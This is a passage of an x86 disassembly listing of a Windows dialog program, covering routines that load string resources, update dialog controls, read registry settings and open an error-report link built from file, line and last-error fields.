pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 1Ch
retn 10h
; ---------------------------------------------------------------------------
loc_404F82: ; CODE XREF: sub_404ED0+67j
; sub_404ED0+71j ...
mov eax, [esp+2Ch+dwNewLong]
pop edi
pop esi
pop ebp
pop ebx
add esp, 1Ch
retn 10h
; ---------------------------------------------------------------------------
loc_404F90: ; CODE XREF: sub_404ED0+60j
cmp edi, 82h
jnz short loc_404FAA
mov eax, [esi+4]
mov edx, [esi]
push eax
mov ecx, esi
mov dword ptr [esi+4], 0
call dword ptr [edx+8]
loc_404FAA: ; CODE XREF: sub_404ED0+C6j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 1Ch
retn 10h
sub_404ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404FC0(int nIDDlgItem,UINT Msg,WPARAM wParam,LPARAM lParam)
sub_404FC0 proc near ; CODE XREF: sub_405C90+7D7p
nIDDlgItem = dword ptr 4
Msg = dword ptr 8
wParam = dword ptr 0Ch
lParam = dword ptr 10h
mov eax, [esp+nIDDlgItem]
mov ecx, [ecx+4]
push eax ; nIDDlgItem
push ecx ; hDlg
call ds:GetDlgItem ; GetDlgItem
test eax, eax
jnz short loc_404FD6
retn 10h
; ---------------------------------------------------------------------------
loc_404FD6: ; CODE XREF: sub_404FC0+11j
mov edx, [esp+lParam]
mov ecx, [esp+wParam]
push edx ; lParam
mov edx, [esp+4+Msg]
push ecx ; wParam
push edx ; Msg
push eax ; hWnd
call ds:PostMessageA ; PostMessageA
retn 10h
sub_404FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404FF0(LPCSTR lpFile)
sub_404FF0 proc near ; CODE XREF: sub_405020+ABp
; sub_4051A0+33Ep ...
lpFile = dword ptr 4
mov eax, [esp+lpFile]
push 1 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
push eax ; lpFile
push offset Operation ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
cmp eax, 20h
setnbe al
retn 4
sub_404FF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_405020(UINT uID)
sub_405020 proc near ; CODE XREF: sub_405C90+1B7p
; sub_405C90+1EFp ...
String = byte ptr -230h
bstrString = dword ptr -30h
lpMem = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_6 = byte ptr -6
var_4 = dword ptr -4
uID = dword ptr 8
push ebp
mov ebp, esp
sub esp, 230h
mov edx, [ebp+uID]
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+String]
mov eax, [esi+1Ch]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push edx ; uID
push eax ; hInstance
mov [ebp+var_4], esi
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_28], ebx
mov [ebp+var_24], bl
mov [ebp+var_6], bl
call ds:LoadStringA ; LoadStringA
mov edi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz loc_405102
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_40507E
xor edi, edi
jmp short loc_4050B6
; ---------------------------------------------------------------------------
loc_40507E: ; CODE XREF: sub_405020+58j
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+var_4]
loc_4050B6: ; CODE XREF: sub_405020+5Cj
push edi ; psz
call ds:SysAllocString
lea ecx, [ebp+bstrString]
mov [ebp+bstrString], eax
call sub_40A2D0
push eax ; lpFile
mov ecx, esi
call sub_404FF0
mov byte ptr [ebp+uID+3], al
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_4050E6
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_4050E6: ; CODE XREF: sub_405020+B8j
mov edx, [ebp+bstrString]
push edx ; bstrString
call ds:SysFreeString
mov al, byte ptr [ebp+uID+3]
lea esp, [ebp-23Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_405102: ; CODE XREF: sub_405020+4Aj
mov eax, [ebp+lpMem]
mov [ebp+bstrString], ebx
cmp eax, ebx
jz short loc_405118
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405118: ; CODE XREF: sub_405020+EAj
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
lea esp, [ebp-23Ch]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_405020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_405140 proc near ; CODE XREF: sub_406670+16p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
xor edx, edx
mov eax, offset dword_40D720
loc_40514C: ; CODE XREF: sub_405140+19j
cmp [eax], esi
jz short loc_405167
add eax, 8
inc edx
cmp eax, offset off_40D810
jl short loc_40514C
mov [ecx+50h], esi
mov eax, 12Bh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_405167: ; CODE XREF: sub_405140+Ej
mov eax, ds:dword_40D724[edx*8]
pop esi
retn 4
sub_405140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_405180 proc near ; CODE XREF: sub_4051A0+345p
; sub_405C90+30p ...
mov eax, [ecx+4]
push eax ; hWnd
call ds:DestroyWindow ; DestroyWindow
push 0 ; nExitCode
call ds:PostQuitMessage ; PostQuitMessage
retn
sub_405180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4051A0(int,LPCSTR lpMem,LPCWSTR lpString,int,UINT uID,char arglist)
sub_4051A0 proc near ; CODE XREF: sub_405C90+4E6p
Text = byte ptr -630h
String = byte ptr -230h
var_30 = dword ptr -30h
bstrString = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_2 = byte ptr -2
arg_0 = dword ptr 8
lpMem = dword ptr 0Ch
lpString = dword ptr 10h
arg_C = dword ptr 14h
uID = dword ptr 18h
arglist = byte ptr 1Ch
push ebp
mov ebp, esp
sub esp, 630h
mov eax, [ebp+arg_0]
mov edx, [ebp+uID]
push ebx
push esi
mov eax, [eax+1Ch]
push edi
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push edx ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+var_28], ebx
mov [ebp+var_24], ebx
mov [ebp+var_20], bl
mov [ebp+var_2], bl
call ds:LoadStringA ; LoadStringA
mov edi, ds:SysFreeString
mov esi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call edi ; SysFreeString
cmp esi, ebx
mov ebx, ds:lstrlenA
jz short loc_405253
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_40520A
xor eax, eax
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40525A
; ---------------------------------------------------------------------------
loc_40520A: ; CODE XREF: sub_4051A0+5Aj
lea edx, [ebp+String]
push edx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, edi
mov edi, ds:SysFreeString
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_40525A
; ---------------------------------------------------------------------------
loc_405253: ; CODE XREF: sub_4051A0+50j
mov [ebp+bstrString], 0
loc_40525A: ; CODE XREF: sub_4051A0+68j
; sub_4051A0+B1j
lea ecx, [ebp+arglist]
push ecx ; arglist
lea ecx, [ebp+bstrString]
call sub_40A2D0
lea edx, [ebp+Text]
push eax ; LPCSTR
push edx ; LPSTR
call ds:wvsprintfA ; wvsprintfA
mov esi, [ebp+arg_0]
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
mov eax, [esi+1Ch]
push 1FAh ; uID
push eax ; hInstance
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov [ebp+var_30], eax
push edx ; bstrString
call edi ; SysFreeString
mov ecx, [ebp+var_30]
xor eax, eax
cmp ecx, eax
jz short loc_4052F5
lea ecx, [ebp+String]
test ecx, ecx
jz short loc_4052EE
lea edx, [ebp+String]
push edx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+arg_0]
mov eax, edi
mov edi, ds:SysFreeString
loc_4052EE: ; CODE XREF: sub_4051A0+10Cj
push eax ; psz
call ds:SysAllocString
loc_4052F5: ; CODE XREF: sub_4051A0+102j
lea ecx, [ebp+bstrString]
mov [ebp+bstrString], eax
call sub_40A2D0
mov edx, [esi+4]
push 10h ; uType
lea ecx, [ebp+Text]
push eax ; lpCaption
push ecx ; lpText
push edx ; hWnd
call ds:MessageBoxA ; MessageBoxA
mov eax, [ebp+bstrString]
push eax ; bstrString
call edi ; SysFreeString
mov esi, [esi+1Ch]
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
push 74h ; uID
push esi ; hInstance
mov [ebp+bstrString], 0
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call edi ; SysFreeString
xor eax, eax
cmp esi, eax
jz short loc_405383
lea ecx, [ebp+String]
test ecx, ecx
jz short loc_40537C
lea edx, [ebp+String]
push edx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push 0 ; CodePage
lea ecx, [ebp+String]
push esi ; cchWideChar
push ecx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
loc_40537C: ; CODE XREF: sub_4051A0+1AFj
push eax ; psz
call ds:SysAllocString
loc_405383: ; CODE XREF: sub_4051A0+1A5j
push 3Fh
lea ecx, [ebp+bstrString]
mov [ebp+bstrString], eax
call sub_40A2D0
push eax
call sub_40B1B0
add esp, 8
mov edi, offset String ; "?"
test eax, eax
jz short loc_4053A7
mov edi, offset asc_40F3F8 ; "&"
loc_4053A7: ; CODE XREF: sub_4051A0+200j
test edi, edi
jnz short loc_4053AF
xor esi, esi
jmp short loc_4053D0
; ---------------------------------------------------------------------------
loc_4053AF: ; CODE XREF: sub_4051A0+209j
push edi ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push 0 ; CodePage
push esi ; cchWideChar
push edi ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_4053D0: ; CODE XREF: sub_4051A0+20Dj
mov edi, ds:lstrlenW
push esi ; lpString
call edi ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov edx, offset aErrorFatalFile ; "error=fatal&filename="
test edx, edx
jnz short loc_4053F0
xor esi, esi
jmp short loc_405419
; ---------------------------------------------------------------------------
loc_4053F0: ; CODE XREF: sub_4051A0+24Aj
push offset aErrorFatalFile ; "error=fatal&filename="
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push 0 ; CodePage
push esi ; cchWideChar
push offset aErrorFatalFile ; "error=fatal&filename="
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_405419: ; CODE XREF: sub_4051A0+24Ej
push esi ; lpString
call edi ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov eax, [ebp+lpMem]
lea ecx, [ebp+bstrString]
push eax ; lpMem
call sub_40AA70
mov ecx, offset aLinenumber ; "&linenumber="
test ecx, ecx
jnz short loc_40543F
xor esi, esi
jmp short loc_405468
; ---------------------------------------------------------------------------
loc_40543F: ; CODE XREF: sub_4051A0+299j
push offset aLinenumber ; "&linenumber="
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push 0 ; CodePage
push esi ; cchWideChar
push offset aLinenumber ; "&linenumber="
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_405468: ; CODE XREF: sub_4051A0+29Dj
push esi ; lpString
call edi ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov edx, [ebp+lpString]
lea ecx, [ebp+bstrString]
push edx ; lpString
call sub_40A980
mov eax, offset aLasterror ; "&lasterror="
test eax, eax
jnz short loc_40548E
xor esi, esi
jmp short loc_4054B7
; ---------------------------------------------------------------------------
loc_40548E: ; CODE XREF: sub_4051A0+2E8j
push offset aLasterror ; "&lasterror="
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push 0 ; CodePage
push esi ; cchWideChar
push offset aLasterror ; "&lasterror="
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_4054B7: ; CODE XREF: sub_4051A0+2ECj
push esi ; lpString
call edi ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov ecx, [ebp+arg_C]
push ecx ; lpString
lea ecx, [ebp+bstrString]
call sub_40A980
lea ecx, [ebp+bstrString]
call sub_40A2D0
mov esi, [ebp+arg_0]
push eax ; lpFile
mov ecx, esi
call sub_404FF0
mov ecx, esi
call sub_405180
lea ecx, [ebp+bstrString]
call sub_4042F0
lea esp, [ebp-63Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4051A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_405500(LPCSTR lParam)
sub_405500 proc near ; CODE XREF: sub_4055A0+90p
; sub_405640+2Ap
lParam = dword ptr 4
mov eax, dword_40FBD4
push ebx
push esi
mov esi, ecx
test eax, eax
jnz short loc_405522
push 1400h ; dwBytes
call sub_40AF50
mov dword_40FBD4, eax
add esp, 4
mov byte ptr [eax], 0
loc_405522: ; CODE XREF: sub_405500+Bj
mov eax, dword_40FBD4
mov ebx, [esp+8+lParam]
push eax ; lpString2
push ebx ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jz short loc_40558D
mov ecx, [esi+4]
push edi
mov edi, ds:SendDlgItemMessageA
push ebx ; lParam
push 0 ; wParam
push 180h ; Msg
push 0CCh ; nIDDlgItem
push ecx ; hDlg
call edi ; SendDlgItemMessageA
mov edx, [esi+4]
push 0 ; lParam
push 0 ; wParam
push 18Bh ; Msg
push 0CCh ; nIDDlgItem
push edx ; hDlg
call edi ; SendDlgItemMessageA
dec eax
push 0 ; lParam
push eax ; wParam
mov eax, [esi+4]
push 186h ; Msg
push 0CCh ; nIDDlgItem
push eax ; hDlg
call edi ; SendDlgItemMessageA
mov ecx, dword_40FBD4
push 1400h ; iMaxLength
push ebx ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
pop edi
loc_40558D: ; CODE XREF: sub_405500+35j
pop esi
pop ebx
retn 4
sub_405500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4055A0(int,UINT uID,char arglist)
sub_4055A0 proc near ; CODE XREF: sub_406670+1Dp
; sub_406720+A2p ...
Buffer = byte ptr -800h
lParam = byte ptr -400h
arg_0 = dword ptr 4
uID = dword ptr 8
arglist = byte ptr 0Ch
mov ecx, [esp+uID]
sub esp, 800h
lea eax, [esp+800h+Buffer]
push esi
mov esi, [esp+804h+arg_0]
push 400h ; cchBufferMax
push eax ; lpBuffer
mov edx, [esi+1Ch]
push ecx ; uID
push edx ; hInstance
call ds:LoadStringA ; LoadStringA
test eax, eax
mov eax, [esp+804h+uID]
jnz short loc_4055E8
push eax
lea ecx, [esp+808h+Buffer]
push offset aResourceLdNotF ; "resource %ld not found"
push ecx ; LPSTR
call ds:wsprintfA ; wsprintfA
add esp, 0Ch
jmp short loc_405626
; ---------------------------------------------------------------------------
loc_4055E8: ; CODE XREF: sub_4055A0+30j
cmp eax, 12Bh
jnz short loc_40560B
mov edx, [esi+50h]
lea eax, [esp+804h+Buffer]
push edx
lea ecx, [esp+808h+lParam]
push eax ; LPCSTR
push ecx ; LPSTR
call ds:wsprintfA ; wsprintfA
add esp, 0Ch
jmp short loc_405626
; ---------------------------------------------------------------------------
loc_40560B: ; CODE XREF: sub_4055A0+4Dj
lea edx, [esp+804h+arglist]
lea eax, [esp+804h+Buffer]
push edx ; arglist
lea ecx, [esp+808h+lParam]
push eax ; LPCSTR
push ecx ; LPSTR
call ds:wvsprintfA ; wvsprintfA
loc_405626: ; CODE XREF: sub_4055A0+46j
; sub_4055A0+69j
lea edx, [esp+804h+lParam]
mov ecx, esi
push edx ; lParam
call sub_405500
pop esi
add esp, 800h
retn
sub_4055A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_405640(int,LPCSTR,char arglist)
sub_405640 proc near ; CODE XREF: sub_406670+61p
; sub_406720+1E9p ...
lParam = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arglist = byte ptr 0Ch
mov ecx, [esp+arg_4]
sub esp, 400h
lea eax, [esp+400h+arglist]
lea edx, [esp+400h+lParam]
push eax ; arglist
push ecx ; LPCSTR
push edx ; LPSTR
call ds:wvsprintfA ; wvsprintfA
mov ecx, [esp+400h+arg_0]
lea eax, [esp+400h+lParam]
push eax ; lParam
call sub_405500
add esp, 400h
retn
sub_405640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_405680(int nIDDlgItem,UINT uID)
sub_405680 proc near ; CODE XREF: sub_405C90+3DEp
; sub_405C90+3ECp ...
String = byte ptr -230h
bstrString = dword ptr -30h
lpMem = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_6 = byte ptr -6
var_4 = dword ptr -4
nIDDlgItem = dword ptr 8
uID = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 230h
mov edx, [ebp+uID]
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+String]
mov eax, [esi+1Ch]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push edx ; uID
push eax ; hInstance
mov [ebp+var_4], esi
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_28], ebx
mov [ebp+var_24], bl
mov [ebp+var_6], bl
call ds:LoadStringA ; LoadStringA
mov edi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz loc_40576D
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_4056DE
xor edi, edi
jmp short loc_405716
; ---------------------------------------------------------------------------
loc_4056DE: ; CODE XREF: sub_405680+58j
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+var_4]
loc_405716: ; CODE XREF: sub_405680+5Cj
push edi ; psz
call ds:SysAllocString
lea ecx, [ebp+bstrString]
mov [ebp+bstrString], eax
call sub_40A2D0
mov edx, [ebp+nIDDlgItem]
push eax ; lpString
mov eax, [esi+4]
push edx ; nIDDlgItem
push eax ; hDlg
call ds:SetDlgItemTextA ; SetDlgItemTextA
cmp eax, 1
mov eax, [ebp+lpMem]
setz byte ptr [ebp+uID+3]
cmp eax, ebx
jz short loc_405751
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405751: ; CODE XREF: sub_405680+C3j
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov al, byte ptr [ebp+uID+3]
lea esp, [ebp-23Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
loc_40576D: ; CODE XREF: sub_405680+4Aj
mov eax, [ebp+lpMem]
mov [ebp+bstrString], ebx
cmp eax, ebx
jz short loc_405783
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405783: ; CODE XREF: sub_405680+F5j
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
lea esp, [ebp-23Ch]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_405680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4057A0(int nIDDlgItem,LPCSTR lpString)
sub_4057A0 proc near ; CODE XREF: sub_405C90+73Cp
nIDDlgItem = dword ptr 4
lpString = dword ptr 8
mov eax, [esp+lpString]
test eax, eax
jnz short loc_4057AD
xor al, al
retn 8
; ---------------------------------------------------------------------------
loc_4057AD: ; CODE XREF: sub_4057A0+6j
mov ecx, [ecx+4]
push eax ; lpString
mov eax, [esp+4+nIDDlgItem]
push eax ; nIDDlgItem
push ecx ; hDlg
call ds:SetDlgItemTextA ; SetDlgItemTextA
cmp eax, 1
setz al
retn 8
sub_4057A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4057D0 proc near ; CODE XREF: sub_405830+11Ep
; sub_405830+13Fp
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
mov edi, [esp+8+arg_0]
mov eax, [esi+1Ch]
push 79h ; uID
push eax ; hInstance
mov ecx, edi
call sub_409450
mov ecx, [esi+1Ch]
push 66h ; uID
push ecx ; hInstance
push 1 ; int
mov ecx, edi
call sub_4092D0
mov edx, [esi+1Ch]
push 67h ; uID
push edx ; hInstance
push 2 ; int
mov ecx, edi
call sub_4092D0
mov eax, [esi+1Ch]
push 68h ; uID
push eax ; hInstance
push 1 ; int
mov ecx, edi
call sub_409310
mov ecx, [esi+1Ch]
push 69h ; uID
push ecx ; hInstance
push 2 ; int
mov ecx, edi
call sub_409310
push 0
mov ecx, edi
call sub_409410
pop edi
pop esi
retn 4
sub_4057D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405830 proc near ; CODE XREF: sub_405C90+245p
psz = byte ptr -28Ch
var_8C = dword ptr -8Ch
var_60 = dword ptr -60h
lpMem = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_36 = byte ptr -36h
bstrString = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
mov eax, [edi+1Ch]
push ecx ; lpBuffer
xor ebx, ebx
push 71h ; uID
push eax ; hInstance
mov [ebp+var_4], edi
mov [ebp+bstrString], ebx
mov [ebp+var_30], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_28], bl
mov [ebp+var_A], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
cmp esi, ebx
jz short loc_4058D6
lea eax, [ebp+psz]
test eax, eax
jnz short loc_405890
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4058D9
; ---------------------------------------------------------------------------
loc_405890: ; CODE XREF: sub_405830+52j
lea ecx, [ebp+psz]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, edi
mov edi, [ebp+var_4]
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4058D9
; ---------------------------------------------------------------------------
loc_4058D6: ; CODE XREF: sub_405830+48j
mov [ebp+bstrString], ebx
loc_4058D9: ; CODE XREF: sub_405830+5Ej
; sub_405830+A4j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_4058E6
xor esi, esi
jmp short loc_405912
; ---------------------------------------------------------------------------
loc_4058E6: ; CODE XREF: sub_405830+B0j
push offset MultiByteStr ; "\\"
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset MultiByteStr ; "\\"
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_405912: ; CODE XREF: sub_405830+B4j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov ecx, [edi+1Ch]
push 7Ah ; bstrString
push ecx ; hInstance
lea ecx, [ebp+bstrString]
call sub_40A840
lea ecx, [ebp+bstrString]
add edi, 20h
call sub_40A2D0
push eax ; phkResult
mov ecx, edi ; int
call sub_408FC0
test al, al
jnz short loc_405958
mov esi, [ebp+var_4]
push edi
mov ecx, esi
call sub_4057D0
jmp loc_405A75
; ---------------------------------------------------------------------------
loc_405958: ; CODE XREF: sub_405830+116j
lea ecx, [ebp+var_8C] ; int
call sub_408BE0
mov esi, [ebp+var_4]
lea edx, [ebp+var_8C]
push edx
mov ecx, esi
call sub_4057D0
push edi
lea ecx, [ebp+var_8C]
call sub_408CC0
test al, al
jz loc_405A59
mov eax, [esi+1Ch]
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
push ecx ; lpBuffer
push 72h ; uID
push eax ; hInstance
mov [ebp+var_60], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_58], ebx
mov [ebp+var_54], bl
mov [ebp+var_36], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+var_60]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
cmp esi, ebx
jz short loc_405A1C
lea eax, [ebp+psz]
test eax, eax
jnz short loc_4059D5
push eax ; psz
call ds:SysAllocString
mov [ebp+var_60], eax
jmp short loc_405A1F
; ---------------------------------------------------------------------------
loc_4059D5: ; CODE XREF: sub_405830+197j
lea ecx, [ebp+psz]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push esi ; cchWideChar
push eax ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [ebp+var_8], eax
mov [eax], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [ebp+var_8]
push eax ; psz
call ds:SysAllocString
mov [ebp+var_60], eax
jmp short loc_405A1F
; ---------------------------------------------------------------------------
loc_405A1C: ; CODE XREF: sub_405830+18Dj
mov [ebp+var_60], ebx
loc_405A1F: ; CODE XREF: sub_405830+1A3j
; sub_405830+1EAj
push 0Ah
push ebx
lea ecx, [ebp+var_60]
call sub_40A2D0
push eax
call sub_40B26C
add esp, 0Ch
mov ecx, edi
call sub_409420
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_405A4D
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405A4D: ; CODE XREF: sub_405830+20Fj
mov eax, [ebp+var_60]
push eax ; bstrString
call ds:SysFreeString
jmp short loc_405A67
; ---------------------------------------------------------------------------
loc_405A59: ; CODE XREF: sub_405830+152j
lea ecx, [ebp+var_8C]
push ecx ; int
mov ecx, edi ; int
call sub_408D50
loc_405A67: ; CODE XREF: sub_405830+227j
lea ecx, [ebp+var_8C]
call sub_408C20
mov esi, [ebp+var_4]
loc_405A75: ; CODE XREF: sub_405830+123j
mov edx, [esi+1Ch]
push 6Eh ; uID
push edx ; hInstance
mov ecx, edi
call sub_4093B0
push 1
mov ecx, edi
call sub_4092F0
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C70
